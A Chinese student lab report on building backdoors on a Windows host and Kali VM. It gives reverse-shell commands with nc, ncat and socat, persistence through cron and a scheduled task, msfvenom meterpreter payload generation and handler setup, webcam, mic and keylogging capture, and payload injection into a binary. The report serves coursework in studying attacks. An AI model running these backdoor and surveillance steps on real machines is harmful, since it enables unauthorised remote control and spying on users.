2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

实验内容

  • 使用netcat获取主机操作Shell,cron启动;
  • 使用socat获取主机操作Shell, 任务计划启动;
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

实验过程

实验准备及常用后门工具了解或测试

ncat
  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
准备
  • 通过命令查看windows主机及kail机的ip,同时检查两者是否互ping通过
  • 在老师提供的附件中下载ncat.rar
  1. windowsipconfig):196.168.1.103
  2. kailifconfig):196.168.1.104
windows获取linux Shell
  • 在windows中用ncat打开一个监听端口,端口号5226ncat.exe -l -p 5226
  • 在kail中使用nc命令-e选项执行shell,反向连接至主机对应端口nc 192.168.1.103 5226 -e /bin/sh
  • 进入主机,通过命令ls/或其他,验证运行kail的shell

linux获取Windows shell
  • 具体流程和上述差不多:kail下设置端口nc -l -p 5226,Windows下设置反向链接ncat.exe -e cmd.exe 192.168.1.104 5226
  • 在kail中运行cmd.exe命令

通过nc在两者间传输数据
  • 直接传输文字:主机下建立监听端口5226ncat.exe -l 5226,kail下建立连接至主机端口nc 192.168.1.103 5226,建立成功后可进行文字传输

  • 传输文件:Windows下建立端口同时定义接收地址ncat.exe -l 5226 > file.in,kail下创建测试文件file.out,连接至主机进行文件输送nc 192.168.1.103 5226 < file.out

socat
  • 其是ncat的增强版
  • 使用格式:socat [options] <address> <address>```,address是必选项,而options``是可选项
  • 在后面任务二有具体应用,可先到老师提供附件下载socat.rar
Meterperter
  • 后门就是一个程序
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
  • 详细点击链接

任务一、使用netcat获取主机操作Shell,cron启动

  • 同准备阶段,在Windows中设立监听端口ncat.exe -l -p 5226

  • 通过百度或者man cron(看得懂的话)了解到:crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于对应文件中,以供之后读取和执行。

  • 利用crontab -e指令编写一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3即为vim编辑器

  • crontab -l可查看编辑情况

  • 增加命令为24 * * * * /bin/netcat 192.168.1.103 5226 -e /bin/sh即为每个小时的第24分钟时执行后方命令(数字填写以自己做实验的时间来定)

  • 当时间到后进行测试,此时可以看出未到时间时,是无法执行获取kail shell的

任务二、使用socat获取主机操作Shell, 任务计划启动

  • 在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序开始创建任务

  • 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定

  • 点击常规选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5226 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5226,同时把cmd.exestderr重定向到stdout上:

  • 创建完成之后,windows+L锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.1.103:5226这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5226端口,此时可以发现已经成功获得了一个cmd shell

  • 在做任务二时可以新建触发器像任务一一样定时完成,任务开始执行后命令和上面一样

任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;

  • 在kali中输入指令
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=5226 -f exe > 20175226_backdoor.exe

此时因为在控制端生成后门,所以此ip为kail的ip地址

  • 同准备阶段:将生成的后门程序传输到主机

  • 在主机下执行ncat.exe -l 5226 > 201725226_backdoor.exe

  • 在kali中通过nc 192.168.1.103 5226 < 20175226_backdoor.exe将生成的后门程序传送到主机上

  • 回到控制端,通过命令msfconsole进入控制台

  • 调用监听模块,设置与生成后门时相同的payload,同时设置返回的ip和端口号

  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. set LHOST 192.168.1.104
  4. set LPORT 5226
  • 设置完成,执行监听exploit
  • 回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell

任务四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

  • 保持任务三,之后进行任务四操作

  • 使用record_mic指令截获一段音频

  • 使用webcam_snap/webcam stream指令可以使用摄像头进行拍照/摄影

  • 使用screenshot指令可以进行截屏

  • 在kali中使用keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权(提权操作可在别的win7虚拟机下进行)

任务五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

  • 此任务在通过学习老师给的资料及[学姐的博客](https://www.cnblogs.com/clever-universe/p/8691365.html)得以完成

  • 首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。与任务三不同在linux中有效载荷不同linux中的有效载荷为linux/x86/meterpreter/reverse_tcp可通过命令msfvenom -l payload

  • 通过命令生成后门程序msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=5226 -x pwn1 -f elf > overdoor_2_5

  • 因为我们需要注入pwn1所以选用的格式为ELF;-x参数用来指定我们的模板pwn1就写入到pwn1这个可执行文件中。

  • 最后就是按照之前的步骤使用两个终端检验后门程序的注入情况



    不过这个程序需要``chmod +x``修改一些程序权限后门才能运行

实验总结

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
  • 捆绑在下载的软件或者在浏览网页的某些链接中,当你下载或者误点链接时就带到了自己的系统中
(2)例举你知道的后门如何启动起来(win及linux)的方式?
  • win中可以与某些自启动项绑定,开机时自动启动
  • Linux可以通过cron启动
  • 或更改某些软件的快捷路径
(3)Meterpreter有哪些给你映像深刻的功能?
  • 获取目标的摄像头,录音机等权限进行拍摄、录音记录
  • 可以记录下目标键盘的输入
(4)如何发现自己有系统有没有被安装后门?
  • 查看系统的自启动项,注册表有无异常
  • 安装杀毒软件扫描,观察各软件及其捆绑有无异常

实验总结与反思

  • 首先就实验过程来说还是除了电脑偶尔抽风也是比较顺利,当然我的问题也和大家差不多Windows10也是无法提权,但是由于我的win7被我删了我就没有继续进行了。其次是一些指令之类的了,这次有些指令又长又难搞记忆最深就是meterpreter沉浸在erre无法自拔,明明是指令的问题但是就是看不出来也是耗费了不少的时间。
  • 然后就是这次实验后门过程确实和之前信安概论的木马实验好像也都在获取对方的各项东西,但这次相对感觉难很多,毕竟那个就是点点点也不需要什么指令。也感受到了这些攻击的可怕与强大吧,现在想想说不定我电脑里都有好多我不知道的后门(怪不得QQ被盗了),不过这东西自己玩还是挺有意思的。

2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践的更多相关文章

  1. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  2. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  3. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  4. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  5. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  6. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  7. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  8. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

  9. 20155304《网络对抗》Exp2 后门原理与实践

    20155332<网络对抗>Exp2 后门原理与实践 实验内容 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Sh ...

随机推荐

  1. python实现个人信息随机生成

    """ 生成随机姓名.电话号码.身份证号.性别.应行卡号.邮箱 """ import random from firstname impor ...

  2. jQ给下拉框绑定事件,为什么要绑定在框(select标签)上,而不是绑定在选项(option标签)上

    这是我在学习锋利的 jquery 书中 5.1.4 的代码时遇到的一个小问题,源代码如下: <head> <style type="text/css"> * ...

  3. mvn docker 部署 每次都需要下载包的问题

    项目大版本更新依赖很稳定,小版本基本不引入其他依赖 docker打包时image时,一次mvn package后 把m2文件拷贝解压,之后build时直接拷入,省得还得下载 FROM maven:3. ...

  4. Python||NameError: name 'reload' is not defined

    多半是运行如下代码时报错: import sysreload(sys)sys.setdefaultencoding("utf-8")123这段代码是为了解决Python中中文输出出 ...

  5. 吴裕雄--天生自然python学习笔记:Python MongoDB

    MongoDB 是目前最流行的 NoSQL 数据库之一,使用的数据类型 BSON(类似 JSON). PyMongo Python 要连接 MongoDB 需要 MongoDB 驱动,这里我们使用 P ...

  6. python3多进程爬虫(第二卷)

    上卷中讲到,我有4个进程,可是我要同时爬取20+数据怎么办,很明显上卷的语法公式不可以,所以现在我引入线程池 现在看一下线程池的语法 看一下爬虫: 注意圈中重点

  7. 《内蒙古自治区第十二届大学生程序设计竞赛试题_G: 最大收益》

    问题 G: 最大收益 内存限制:128 MB时间限制:1 S标准输入输出 题目类型:传统评测方式:文本比较上传者:外部导入 提交:87通过:23 返回比赛提交提交记录 题目描述 Elly的叔叔经营一家 ...

  8. 使用 ActiveMQ 示例

    « Lighttpd(fastcgi) + web.py + MySQLdb 无法正常运行关于 Jms Topic 持久订阅 » 使用 ActiveMQ 示例 企业中各项目中相互协作的时候可能用得到消 ...

  9. cpupower frequency 无法设置userspace的问题

    Disable intel_pstate in grub configure file: $ sudo vi /etc/default/grub Append "intel_pstate=d ...

  10. “一亿”的教训:一次Google信箱诈骗是如何得手的?

    网络诈骗是指以非法占有为目的,利用互联网采用虚构事实或者隐瞒真相的方法,骗取数额较大的公私财物的行为.一年比一年网络诈骗越来越高手段,可以说是日益猖獗.在这里提醒一次各位朋友一定要注意自己的网络安全. ...